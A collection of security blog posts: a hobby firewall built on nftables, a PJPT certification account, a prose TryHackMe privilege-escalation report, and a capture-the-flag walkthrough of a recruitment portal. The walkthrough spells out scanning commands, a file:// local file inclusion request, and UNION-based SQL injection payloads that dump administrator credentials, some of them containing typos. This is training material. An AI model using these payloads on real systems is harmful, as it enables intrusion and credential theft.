VesperAegis Firewall — Adaptive Network Security & Traffic Intelligence

Over the past few days, I have been working on something different from my usual penetration-testing labs.

Instead of only testing security controls, I wanted to understand what happens on the other side:

How is a firewall actually built?

That question led me to build VesperAegis Firewall, a Linux-based firewall project designed to provide rule management, traffic enforcement, monitoring, authentication, and a web-based management interface.

This started as part of my cybersecurity internship, but I decided to take the project beyond simply researching firewall technologies and actually build a working application around Linux's native firewall infrastructure.

The project is still evolving, and this article documents what I have actually built so far, how it is structured, how I am testing it, and what I plan to build next.

Why Build a Firewall?

During my research into firewall technologies, I spent time understanding how firewalls evolved from basic packet filtering to stateful inspection, NGFWs, cloud firewalls, and modern security platforms.

But theoretical understanding only gets you so far.

I wanted to answer questions such as:

• How does a firewall rule become an actual kernel-level enforcement rule?

• How should firewall policies be represented in an application?

• How can invalid or conflicting rules be detected before deployment?

• How should firewall configuration be stored?

• How should administrators interact with the firewall?

• How can traffic statistics and firewall events be monitored?

• How can an application safely control the underlying firewall?

Instead of building another theoretical architecture diagram, I decided to build a practical system.

That became VesperAegis.

Introducing VesperAegis

VesperAegis Firewall

Adaptive Network Security & Traffic Intelligence

The idea is relatively simple:

The application should provide the management and intelligence layer, while Linux should remain responsible for the actual packet enforcement.

I did not want to implement a firewall engine from scratch in Python.

Instead, the project uses nftables/Netfilter, which allows Linux to perform the actual network filtering.

The application sits above that enforcement layer.

The Core Architecture

The current architecture looks like this:

The important design decision here is the separation between application-level policy management and actual packet enforcement.

The Python application does not replace the Linux firewall subsystem.

This gives VesperAegis a clear responsibility boundary.

Why nftables?

One of the most important decisions was choosing the actual enforcement mechanism. I chose nftables/Netfilter because I wanted the project to operate on top of Linux's native packet-filtering infrastructure rather than attempting to simulate firewall behaviour inside Python.

A Python application displaying:

ALLOW TCP 192.168.50.10 → 192.168.60.20:80

doesn't make that traffic allowed by itself. The policy eventually needs to reach the actual enforcement layer. That's why nftables is central to the project.

Why Python?

Python is used as the primary application-development language.

The project has several components that benefit from Python:

• API development, Rule processing, Validation, Configuration management, Database interaction, Authentication logic, System integration, Testing, Operational scripts.

Python also makes it easier to iterate quickly while keeping the project understandable.

The goal wasn't to create an enormous codebase. The goal was to create something where I could understand how the components interact.

Why FastAPI?

The firewall needs an interface through which the dashboard and other clients can communicate with the backend.

For that layer, I chose FastAPI.

The REST API provides endpoints for operations such as:

• Firewall status, Rule management, Configuration, Logs, Traffic statistics, Authentication, System information.

This also gives the project a cleaner separation between the frontend and backend. The dashboard doesn't need to directly manipulate nftables. Instead, it communicates with the API.

Why SQLite?

I intentionally kept the database layer lightweight. VesperAegis uses SQLite for configuration and application state.

For this project, I don't need a large distributed database infrastructure.

SQLite is sufficient for storing information such as:

• Firewall rules, Rule configuration, Application state, Relevant event, information, Authentication-related application data

This keeps the project easy to deploy in a laboratory environment while still giving it a proper persistence layer.

Firewall Rule Management

One of the main components I wanted to build was proper rule management.

The application currently supports operations such as:

• Create rules, Edit rules, Delete rules, Enable rules, Disable rules, Configure priority, Configure protocols, Configure source/destination, addresses, Configure ports

A conceptual rule could look like:

action: allow
protocol: tcp
source: 192.168.50.10
destination: 192.168.60.20
destination_port: 80
enabled: true
priority: 10

The YAML representation is useful for making firewall policy readable and manageable. But before a rule reaches nftables, it should go through validation.

Rule Validation

This became one of the more interesting parts of the project. A firewall application shouldn't blindly accept every rule entered by an administrator.

VesperAegis currently performs validation for areas such as:

IP / CIDR validation

For example:

192.168.50.10
192.168.60.0/24

Port validation

The application checks whether port values fall within valid ranges and whether the rule structure is correct.

Protocol validation

Rules need to use supported protocols rather than arbitrary values.

Priority

Rules can have priorities so that policy ordering can be managed explicitly.

Detecting Conflicting Rules

Another feature I wanted to implement was rule conflict detection.

Consider:

Rule 1:
ALLOW TCP → 192.168.60.20:80

Rule 2:
DENY TCP → 192.168.60.20:80

Both rules target the same traffic. Without proper handling, administrators could create confusing policies and wonder why traffic behaves differently from what they expected. The application therefore attempts to identify problematic combinations before they become operational issues.

Rule Shadowing

A related problem is rule shadowing.

For example:

Rule 1:
DENY 192.168.60.0/24

Rule 2:
ALLOW 192.168.60.20

Depending on ordering and evaluation logic, the second rule may never become effective. This is an important firewall-management problem because a rule can look perfectly valid syntactically while being ineffective from a policy perspective.

VesperAegis therefore includes shadowing detection as part of its rule-analysis layer.

Security Warnings

The project also provides warnings for potentially dangerous or overly broad rules.

For example, administrators should be careful with policies equivalent to:

ALLOW
ANY
ANY
ANY

A rule can be syntactically valid while still being a poor security decision. This is where the application layer can provide value beyond simply passing configuration to nftables.

Authentication and Access Control

A firewall management interface itself is a security-sensitive application.

If an attacker can access the dashboard and modify firewall policy, the firewall becomes another attack surface. Because of that, authentication was included in the project.

The current implementation includes:

• Authentication, Session-based access control, Protected API access, Protected application pages, Administrator credential management, Password hashing using PBKDF2-SHA256.

The initial administrator account also requires a credential change rather than relying on permanent default credentials.

Dashboard and Monitoring

VesperAegis also includes a web dashboard.

The purpose of the dashboard isn't simply to make the project look nice.

It provides an operational interface for viewing things such as:

• Firewall status, Rules, Logs, Traffic statistics, System information, Configuration state.

The frontend is built using:

HTML
CSS
JavaScript

while communication with the backend happens through the FastAPI REST API.

Firewall Enforcement vs Logging vs Packet Capture

One distinction I specifically wanted to maintain in the architecture is that firewall enforcement, logging, statistics, and packet capture are not the same thing.

It would be incorrect to describe VesperAegis as storing every raw packet in SQLite.

That's not the design.

Instead:

                ┌───────────────┐
Traffic ───────→│   nftables    │
                └───────┬───────┘
                        │
                 Enforcement
                        │
                        ▼
                 Packet Counters
                        │
                        ▼
              Application Statistics

The application can record relevant firewall events and statistics.

For deeper packet-level investigation, tools such as:

tcpdump
Wireshark

can be used separately during testing. This separation keeps the database from becoming an unnecessary packet-storage system.

The Laboratory Network

The next important stage was moving from application testing toward real network testing. I built an isolated laboratory environment so that I could test forwarded traffic without mixing it with management traffic.

The current topology is:

The intended traffic path is:

Kali
  ↓
VesperAegis
  ↓
Protected Network
  ↓
Target

This isolation is important because I want to test actual forwarded traffic through the firewall, rather than simply testing rules against the firewall's own management traffic.

Testing From the Attacker Side

Kali will act as the attacker/testing machine. The protected network contains Ubuntu or intentionally vulnerable machines.

This allows me to test scenarios such as:

Kali
 ↓
Reconnaissance
 ↓
Firewall
 ↓
Protected Target

I can then modify firewall policies and observe how traffic behaviour changes.

For example:

ALLOW TCP/80

should produce different behaviour from:

DENY TCP/80

The important part isn't simply seeing a rule inside the dashboard.The objective is to verify that the actual network traffic is affected by the policy.

AI Is a Future Layer

The name Adaptive Network Security & Traffic Intelligence points toward something I want to explore later:

AI-assisted security.

But I deliberately did not make AI responsible for directly controlling nftables.

Potential future capabilities include:

• Risk scoring, Rule recommendations, Log summarization, Policy, explanation, Traffic anomaly analysis.

The architecture:

The important part is the human approval layer. I don't want a probabilistic model to directly modify firewall enforcement without oversight. AI can provide recommendations and analysis. The firewall should remain deterministic and controlled.

What Building a Firewall Taught Me

One of the biggest lessons from this project is that a firewall isn't just an ALLOW or DENY command.

There are several layers involved:

User Policy
    ↓
Application
    ↓
Validation
    ↓
Rule Engine
    ↓
Configuration
    ↓
nftables
    ↓
Netfilter
    ↓
Linux Kernel
    ↓
Network Interface
    ↓
Traffic

Every layer introduces its own engineering and security considerations. A mistake in the UI can become a bad policy. A mistake in validation can become an invalid rule. A mistake in rule translation can result in unexpected enforcement. And a mistake in authentication can potentially allow an attacker to control the entire security boundary. That makes firewall development a much more interesting engineering problem than I initially expected.

Final Thoughts

VesperAegis started with a simple question:

Why can't I build a firewalls and actually learn while building it?

The answer has been a much deeper engineering experience than I expected. I've had to think about Linux networking, nftables, APIs, databases, authentication, rule processing, network topology, testing, and the security of the management application itself.

The project is not an enterprise firewall, and I don't intend to present it as one.

It is a practical cybersecurity engineering project that I am building to understand how firewall systems work from the inside out.

Project

VesperAegis Firewall Adaptive Network Security & Traffic Intelligence

The project is being developed as part of my cybersecurity internship and is maintained as a practical learning and engineering project.

🔗 GitHub: VesperAegis Firewall

Disclaimer

VesperAegis is an independent cybersecurity engineering project developed for learning, research, and authorized laboratory testing. It should not be considered an enterprise-ready firewall or deployed in production without extensive security review, testing, hardening, and validation.

All network testing described in this article is intended for isolated and authorized laboratory environments.

August 25, 2026. 9:00 AM.

I started my Practical Junior Penetration Tester (PJPT) exam.

I knew the technical concepts. I had worked through the Practical Ethical Hacking course, practiced Active Directory, solved labs, and spent countless hours enumerating systems.

But once the exam started, all of that preparation had to come together.

No walkthroughs. No step-by-step instructions. Just me, the target environment, and my methodology.

And, of course, a few moments where I questioned my entire existence. 😅

Today, I can finally say:

I am officially PJPT certified.

This is my first professional cybersecurity certification, and it means considerably more to me than simply adding another badge to my profile.

The Exam — Starting From Zero

I started at around 9:00 AM on August 25th.

My first step was straightforward: understand the environment.

I began with network reconnaissance, service enumeration, and identifying the available attack surface.

Rather than immediately following a predefined checklist from the course, I decided to approach the environment using my own methodology.

My mindset was simple:

Reconnaissance
      ↓
Enumeration
      ↓
Identify Attack Path
      ↓
Initial Access
      ↓
Privilege Escalation
      ↓
Domain Compromise
      ↓
Reporting

The first major obstacle came fairly early.

I spent almost two hours stuck at one point.

I started questioning my methodology.

Was I missing something?

Was my enumeration wrong?

Was there another attack path?

Should I start over?

Eventually, I decided to step back, reassess the information I had already collected, and approach the problem again.

That decision paid off.

I found the first step and continued moving through the environment.

The Most Embarrassing Mistake 😭

This was probably my favorite lesson from the entire exam.

Around 2:00 PM, I got stuck again.

This time, I spent almost an hour trying to figure out what I had done wrong.

I went back through my enumeration.

I checked the information again.

And again.

And again.

I had actually looked at the same output two or three times.

The problem?

I had missed two characters in a password.

Two.

Characters.

They were sitting right there in the information I had already collected.

I wasn't technically doing anything wrong.

My problem was simply attention to detail.

When I finally noticed it, my reaction was basically:

“What rey... seriously?” 😂

That moment reinforced something extremely important:

Enumeration isn't just about collecting information.

It's about actually reading and understanding the information you collect.

A perfect tool output is useless if you don't notice the one detail that matters.

Going Back to the Fundamentals

Once I got past that obstacle, the assessment started moving much more naturally.

I continued enumerating the environment, identifying relationships between systems and accounts, and working through the Active Directory attack path.

At different points, I went back to concepts from the Practical Ethical Hacking (PEH) course to refresh specific techniques and make sure I was approaching the problem correctly.

Eventually, I reached the point I had been working toward:

Domain compromise.

That was probably the most satisfying moment of the entire assessment.

Not because I had simply reached the end of a lab, but because I had taken everything I had learned during preparation and applied it against an environment where I wasn't being given the exact next step.

The Exam Wasn't the Hardest Part

One thing that surprised me was how approachable the technical assessment felt once the fundamentals were in place.

Before starting, I had built it up in my head as something much more complicated.

But once I started working methodically, I realized that the assessment wasn't about knowing hundreds of obscure techniques.

It was about understanding the fundamentals and being able to reason through an attack path.

For me, the most important skills were:

• Network enumeration

• Service enumeration

• Active Directory fundamentals

• Credential enumeration

• Understanding attack paths

• Privilege escalation

• Careful analysis of collected information

• Knowing when to step back and reassess

The PEH course was the primary resource I relied on during preparation, and I found that the concepts covered there provided a strong foundation for the assessment.

I also had extensive hands-on practice through labs, which helped me become comfortable with enumeration and troubleshooting.

And Then I Lost My Entire Report 🤦‍♂️

After successfully taking over the domain, there was still one major part left:

The report.

I started documenting the assessment and eventually reached approximately 75% completion.

Then...

Power cut.

And I had made one incredibly stupid mistake.

I hadn't saved the document.

My report was gone.

After everything I had just done, I now had another challenge:

Do the report again.

That was probably more painful than any enumeration problem during the exam. 😂

After taking a long break, I came back and started rebuilding the report.

This time, I saved constantly.

Eventually, I completed the report, reviewed it, and submitted it.

What PJPT Taught Me

The biggest lessons from the exam weren't actually specific commands.

They were habits.

1. Attention to detail beats speed

The password incident taught me this directly.

Sometimes the information you need is already in front of you.

Don't keep searching for a complicated answer when you haven't completely analyzed the simple information you've already collected.

2. Trust your methodology

Getting stuck doesn't automatically mean your methodology is wrong.

Sometimes you simply haven't found the correct path yet.

Instead of immediately abandoning everything, step back:

Stop
 ↓
Review
 ↓
Reassess
 ↓
Enumerate Again
 ↓
Continue

A calm reassessment is often more useful than randomly trying another tool.

3. Don't overcomplicate the assessment

During preparation, it's easy to think you need every tool, every framework, and every advanced technique.

You don't.

Strong fundamentals combined with good enumeration and logical reasoning can take you surprisingly far.

4. Reporting is part of penetration testing

This was another major lesson.

Compromising the environment isn't the end of the engagement.

A professional penetration tester must also be able to communicate:

• What was discovered

• How it was exploited

• Why it matters

• What impact it creates

• How it should be remediated

The technical work means little if the findings cannot be communicated clearly.

And yes...

Save your report. Frequently.

I learned that one the hard way. 😂

Would I Recommend PJPT?

Absolutely—especially if you're building your fundamentals in penetration testing.

For someone coming from a beginner/junior offensive-security background, I found the assessment valuable because it forces you to move beyond simply following walkthroughs.

You have to:

Think → Enumerate → Test → Adapt → Exploit → Document.

That process is where the real learning happens.

My preparation was primarily built around TCM Security's Practical Ethical Hacking course, combined with hands-on lab practice.

I wouldn't say someone should blindly memorize the course and expect to pass. Understanding why the techniques work is much more important than memorizing commands.

The Milestone

Today, I officially received my Practical Junior Penetration Tester (PJPT) certification and badge from TCM Security.

This is my first official professional cybersecurity certification.

For someone working toward a career in offensive security, this isn't the finish line.

It's a checkpoint.

There are still a lot of things I want to learn:

The certificate is proof that I completed one stage.

The real goal is becoming better at the craft.

Final Thoughts

Looking back at the exam, the most valuable part wasn't the moment I obtained domain compromise.

It was everything that happened before it.

Getting stuck.

Starting again.

Missing two characters in a password.

Questioning my methodology.

Going back to fundamentals.

And eventually figuring it out.

Those moments are exactly what make hands-on security work interesting.

You don't always need another tool.

Sometimes you just need to slow down and look again.

And after all of that...

PJPT is officially unlocked. 🥷🔴

On to the next challenge.

More From ShadowSensei

I'll be documenting my future penetration-testing labs and assessments through professional reports and technical write-ups.

• Professional Pentest Reports: GitHub — ShadowSensei

• Technical Write-ups: Hashnode — ShadowSensei

• Professional Profile: LinkedIn

Disclaimer

This article describes my personal experience preparing for and completing the PJPT certification assessment. Specific exam content, credentials, flags, or other restricted assessment information have intentionally not been disclosed.

All laboratory and security testing activities discussed in my technical work are performed only in authorized environments.

ShadowSensei PJPT Certified Penetration Tester | Offensive Security | VAPT | Red Teaming

Learn by testing. Understand by breaking. Improve by securing.

Introduction

As part of my hands-on penetration testing practice, I performed an external security assessment against the JUMP machine in the TryHackMe laboratory environment.

The objective was to approach the target from the perspective of an unauthenticated external attacker, identify exposed services and security weaknesses, validate exploitable vulnerabilities, and determine whether those weaknesses could ultimately lead to administrative compromise.

The assessment resulted in complete compromise of the Linux target, achieved by chaining multiple security misconfigurations across different privilege levels.

Environment: TryHackMe — JUMP Assessment Type: External Penetration Test Target: Linux Host Testing Period: August 5–7, 2026 Assessment Status: Full system compromise achieved

Assessment Approach

The assessment followed a structured penetration-testing methodology consisting of:

1. Reconnaissance

2. Service discovery

3. Enumeration

4. Vulnerability identification

5. Controlled exploitation

6. Privilege escalation

7. Validation of root-level access

8. Risk assessment and remediation

The assessment was performed against the authorized TryHackMe laboratory environment.

Initial Reconnaissance

The first stage focused on identifying externally accessible services and understanding the target's attack surface.

The assessment identified FTP and SSH as externally accessible services. While the exposed attack surface was relatively small, the FTP service presented a significant security weakness because it allowed anonymous authentication.

Anonymous FTP access provided an opportunity to enumerate accessible directories and retrieve information about the target's internal workflow.

Further investigation revealed an automated file-processing mechanism associated with an FTP-accessible directory.

This became the initial attack vector.

Initial Access Through Insecure File Processing

The FTP service allowed anonymous users to interact with a directory that was monitored by an automated processing mechanism.

The critical issue was that user-controlled files were processed without sufficient validation or security controls.

This allowed a malicious payload to be introduced into the processing workflow and ultimately resulted in arbitrary command execution on the target.

The initial shell was obtained as:

recon_user

This finding was classified as Critical because an unauthenticated external attacker could obtain an initial foothold and continue toward full system compromise.

Finding

EPT-001 — Anonymous FTP Authentication with Insecure Automated File Processing

Severity: Critical

Impact: Successful exploitation allowed arbitrary command execution and provided the initial foothold required for subsequent privilege escalation.

Recommended Remediation

• Disable anonymous FTP authentication.

• Restrict write access to upload directories.

• Validate uploaded files before processing.

• Execute automated processing using dedicated least-privileged accounts.

Local Enumeration & Privilege Escalation

After obtaining the initial shell, the assessment moved into local enumeration.

The objective was to identify:

• Running processes

• Scheduled tasks

• File permissions

• Service configurations

• Writable scripts

• Privileged execution paths

• Sudo permissions

This revealed several weaknesses that could be chained to progressively increase privileges.

Privilege Escalation Path 1 — Scheduled Backup Process

A scheduled backup process was identified running under the dev_user account.

The backup mechanism interacted with files controlled by a lower-privileged user without sufficient permission restrictions.

This allowed the lower-privileged account to influence a privileged process and resulted in escalation from:

recon_user
      ↓
dev_user

The finding was rated High due to the ability to elevate privileges and continue progressing toward full system compromise.

Finding: EPT-002 Severity: High

The recommended remediation includes reviewing scheduled tasks, enforcing proper ownership and permissions, and ensuring privileged automation cannot be influenced by lower-privileged accounts.

Privilege Escalation Path 2 — Systemd Execution Path Hijacking

Further enumeration identified a systemd health-check service executing a binary through a writable execution path.

Because a lower-privileged user could influence the execution environment, the service could be manipulated to execute attacker-controlled code.

This resulted in:

dev_user
    ↓
monitor_user

The vulnerability was classified as High.

Finding: EPT-003 — Insecure System Service Leading to Privilege Escalation

The report maps this weakness to CWE-427: Uncontrolled Search Path Element and MITRE ATT&CK T1574: Hijack Execution Flow.

Recommended Remediation

• Use absolute paths for trusted executables.

• Ensure service-related directories are not writable by unprivileged users.

• Apply least privilege to service accounts.

• Monitor the integrity of service binaries.

• Regularly review systemd services and timers.

Privilege Escalation Path 3 — Writable Deployment Script

The next stage involved a deployment helper script that was writable by a lower-privileged account but executed within a higher-privileged context.

This created another opportunity for arbitrary command execution.

The resulting privilege transition was:

monitor_user
      ↓
ops_user

Finding: EPT-004 Severity: High

The core issue was improper file permissions on a script trusted by a privileged deployment process.

This demonstrates an important security principle:

A privileged process must never trust files that can be modified by a lower-privileged user.

Final Privilege Escalation — Sudo Misconfiguration

The final stage of the attack involved examining the sudo permissions assigned to ops_user.

The account was permitted to execute the less binary as root without authentication through a NOPASSWD sudo rule.

Because less can provide an interactive shell, this configuration could be abused to obtain unrestricted root-level access.

The final privilege transition was:

ops_user
    ↓
root

Finding: EPT-005 Severity: Critical

The report identifies the issue as an abuse of elevated privileges and maps it to MITRE ATT&CK T1548 — Abuse Elevation Control Mechanism.

At this point, complete administrative control of the target was achieved.

Complete Attack Chain

The entire compromise can be summarized as:

Unauthenticated External Attacker
            │
            ▼
     Anonymous FTP Access
            │
            ▼
 Insecure Automated File Processing
            │
            ▼
    Arbitrary Command Execution
            │
            ▼
        recon_user
            │
            ▼
  Insecure Scheduled Backup
            │
            ▼
         dev_user
            │
            ▼
 Systemd Execution Path Hijacking
            │
            ▼
       monitor_user
            │
            ▼
 Writable Deployment Script
            │
            ▼
         ops_user
            │
            ▼
 Misconfigured sudo (less)
            │
            ▼
           ROOT

This attack path required chaining several weaknesses rather than relying on a single vulnerability. The assessment therefore demonstrated the importance of defense in depth and least-privilege controls.

Findings Summary

The assessment identified five confirmed vulnerabilities:

Overall, the report classified the findings as 2 Critical, 3 High, 0 Moderate, 0 Low, and 1 Informational.

Key Security Lessons

This assessment reinforced several important penetration-testing and defensive-security concepts:

1. Small attack surfaces can still be dangerous

Only a limited number of services were externally accessible, but one misconfigured service was sufficient to establish the initial foothold.

2. Privilege escalation is often about chaining weaknesses

The target did not expose root access immediately. Instead, multiple configuration weaknesses had to be identified and chained together.

3. File permissions matter

Several escalation paths depended on lower-privileged users being able to modify files or directories trusted by privileged processes.

4. Automation requires security controls

Scheduled tasks, deployment systems, and service processes can become privilege-escalation mechanisms when they execute attacker-influenced content.

5. Least privilege is critical

The final compromise demonstrated how excessive sudo permissions can turn a limited account compromise into complete operating-system compromise.

Remediation Priorities

Based on the assessment, the highest-priority remediation actions are:

1. Disable anonymous FTP access.

2. Secure automated file-processing workflows.

3. Review scheduled tasks and backup processes.

4. Remove writable paths from privileged execution contexts.

5. Restrict permissions on deployment scripts and helper files.

6. Review and minimize sudo privileges.

7. Remove unnecessary NOPASSWD configurations.

8. Regularly audit privileged services, scripts, and scheduled tasks.

These recommendations are consistent with the remediation guidance documented for the individual findings in the assessment report.

Conclusion

The JUMP assessment demonstrated how multiple seemingly isolated security weaknesses can be chained into a complete system compromise.

The attack progressed from unauthenticated external access → initial command execution → multiple privilege-escalation stages → root-level access.

The most important takeaway from this assessment is that security should not be evaluated only by looking at individual vulnerabilities in isolation. Attackers can combine weaknesses across authentication, file permissions, automation, services, and privilege management to create a significantly more serious attack path.

The assessment ultimately achieved full administrative control of the target Linux system, demonstrating the importance of secure automation, strict permission management, least privilege, and continuous security assessment.

📄 Professional Assessment Report

I documented the assessment separately as a professional penetration testing report, including the assessment overview, scope, executive summary, vulnerability report card, technical findings, evidence, risk ratings, remediation recommendations, and overall risk assessment.

Full PDF Report: 👉 View the JUMP Professional Penetration Test Report

GitHub Repository: 👉 ShadowSensei — Professional Penetration Testing Reports

Disclaimer

This assessment was performed against the TryHackMe JUMP laboratory environment as an authorized cybersecurity training exercise.

The report and this article represent my independent work, analysis, testing methodology, and documentation. They are not official security assessments, confidential reports, or security findings belonging to any external company or organization.

All testing described here was performed within an authorized training environment.

🥷 ShadowSensei

PJPT Certified Penetration Tester | Offensive Security | VAPT | Red Teaming

Learn by testing. Understand by breaking. Improve by securing.

TASK

Recruit has just launched its new recruitment portal, allowing HR staff to manage candidate applications and administrators to oversee hiring decisions. While the platform appears functional, management suspects that security may have been overlooked during development. Your task is to assess the application like a real attacker, mapping its structure, abusing exposed functionality, and exploiting vulnerabilities.

Can you gain an initial foothold, escalate your access, and ultimately log in as the administrator?

Let’s start our room by nmap scan and identify the hosts & open ports.

sudo nmap -sS -p- <IP_Address>

# -sS is an stealthy-scan [SYN-scan] identifies open ports without completing the full TCP handshake, preventing the target system from logging the connection. 
# -p- scans all 65,535 ports.

We obtained the 3 open ports:

1. 22/tcp ssh

2. 53/tcp domain

3. 80/tcp http

Now let’s try to access the system using the SSH server.

sudo ssh -p 22 usr_name@IP 

Here I took username as admin, we can try with different names as well, see there is an requirements of password. I just passed the default credentials but its not working.

Next, the Port 80 let’s view the page..

We can see that we have a login page, however I tried several commands to test for sql injection and also using default credentials as admin: admin, admin: password, etc.. but nothing worked..

So, let’s run the nikto or gobuster for directories Enumeration. In my case I used nikto scan for enumeration.

sudo nikto -h http://<IP>

Yep, we would able to see we found few interesting directories and server version..

• Server: Apache/2.4.41 (Ubuntu)

Directories like:

1. /mail

2. /config.php

3. sitemap.xml

Now let us look into sitemap.xml is a file that lists a website's essential pages. It may contain other pages that are not listed in directory scanning..

Cool we found few interesting directories like mail and assets and the php pages..

let's look into mail folder..

we can see there an another page called mail.log.

I think we have got the login credential of HR like Username: hr but the password is stored in the config.php file.

let's try to view the config,php.

We are not able to fetch the config.php. let look into another php files that are listed in sitemap.xml, the interesting one is api.php lets look into it.

The api.php contains the FAQ’s, the 2nd FAQ reveals the endpoint for cv is /file.php?cv=<url>

let's try to use that endpoint to access the config.php

http://<IP>/file.php?cv=config.php

Hey it's bit more interesting say only local file are allowed.

It means the developers have added the security filter to avoid RFI [Remote File Inclusion]. To stop RFI, the developer likely wrote a filter that blocks or complains if the input looks like a standard web request, but they accidentally left the door wide open for Local File Inclusion (LFI).

So we can use the PHP Wrappers to access the config.php file.

http://<IP>/file.php?cv=file:///var/www/html/config.php

# file:// [Local File System] -> it tells the server's backend, "Do not go to the internet; fetch this file directly from your own local file system."
# /var/www/html default root directory for web servers (like Apache or Nginx) on Linux systems.

Aahaa we got the access to the config.php file, and we found the password to the HR.

It’s a milestone and we got the user access finally. lets login as HR.

And the flag too..

We just accomplished the task1 user login. Now let’s find the Admin Credentials.

We can see there is an search box lets try with SQL Injection.

In search Box add this ' OR 1=1-- 

We can see the Data base revels that it is using MySql server. Cool its vulnerable to SQLI.

The error show’s that need to use % at the end. Don't panic simple, as it is an mysql server it can pass the SQL commands only when the there is an space or + or # added in the end.

Like, 'OR 1=1-- , 'OR 1=1--+ , 'OR 1=1--# 

In our case just we can add space in the end of comment..

we can see no error it is normally showing the 4 Colum's of candidates. Here is an imp thing that we need to notice is there are 4 columns in the database.. we can confirm it by ORDER BY injection.

By incrementing the ORDER BY clause, we trigger an error at ORDER BY 5. This enumerates the number of columns returned by the active SELECT statement, confirming there are exactly 4 columns we can interact with."

Now let us try to output the version of Mysql using the UNION SELECT.

' UNION SELECT version(),NULL,NULL,NULL-- 

The DB version is 8.0.33-Oubuntu0.20.04.2

Now let try to retrive the columns present in this DB..

'UNION SELECT table_name.NULL,NULL,NULL FROM information_schema.tables-- 

We can multiple tables almost 60+ tables.

But from all of them there are only few interesting tables that may reveal the usernames and passwords like

• users

• accounts

• hosts

• user

Let enumerate all the tables one by one by using the UNION SELECT clause..

'UNION SELECT column_name.NULL,NULL,NULL FROM information_schema.columns WHERE table_name= 'hosts'--

# try to modify the table name using the differnt tables what are intresting.. 

And I can see that in only users contains the username and passwords column's.

Now enumerate the columns to get the admin credentials.

'UNION SELECT username,password,NULL,NULL FROM users-- 

And here we go we got our administrator credentials to use them to log in

And that’s it we got our administrator flag..

Remediations: Fix the Vulnerabilities.

1. Local File Inclusion (LFI)

• The Flaw: The cv parameter in file.php failed to properly sanitize user input, allowing the use of the file:// wrapper to access local server files. The filter designed to block RFI was insufficient.

• The Fix: Never pass user-supplied input directly to filesystem APIs. The best approach is to use Indirect Object References. Instead of passing a file path (e.g., ?cv=config.php), pass an ID (e.g., ?cv=1) that the backend maps to the correct file safely. If direct file referencing is absolutely necessary, strictly validate the input against a hardcoded allowlist of permitted filenames and completely strip out directory traversal characters (../) and URI wrappers (file://, php://).

2. Sensitive Data Exposure (Hardcoded Credentials)

• The Flaw: The config.php file contained plain-text HR credentials, which were exposed once the LFI vulnerability was exploited.

• The Fix: Never hardcode passwords, API keys, or sensitive configuration details directly in the source code. Credentials should be stored in secure environment variables or a dedicated secrets management system. Furthermore, ensure configuration files are stored outside the web root directory (/var/www/html/) so they cannot be accessed directly via the web server even if a vulnerability exists.

3. SQL Injection (SQLi)

• The Flaw: The application's search feature concatenated user input directly into the backend MySQL query, allowing for boolean-based and UNION-based SQL injection to extract the administrator's credentials.

• The Fix: Implement Parameterized Queries (Prepared Statements). This ensures that the database treats user input strictly as data rather than executable SQL code, neutralizing any injected payloads like ' OR 1=1 --. Alternatively, utilizing a well-configured Object-Relational Mapper (ORM) can handle this sanitization automatically.

4. Weak Password Storage

• The Flaw: Since we were able to dump the users table and immediately use the admin credentials, it implies the passwords were not properly hashed.

• The Fix: Passwords in the database should never be stored in plain text. They must be hashed and salted using strong, modern cryptographic algorithms like bcrypt or Argon2id.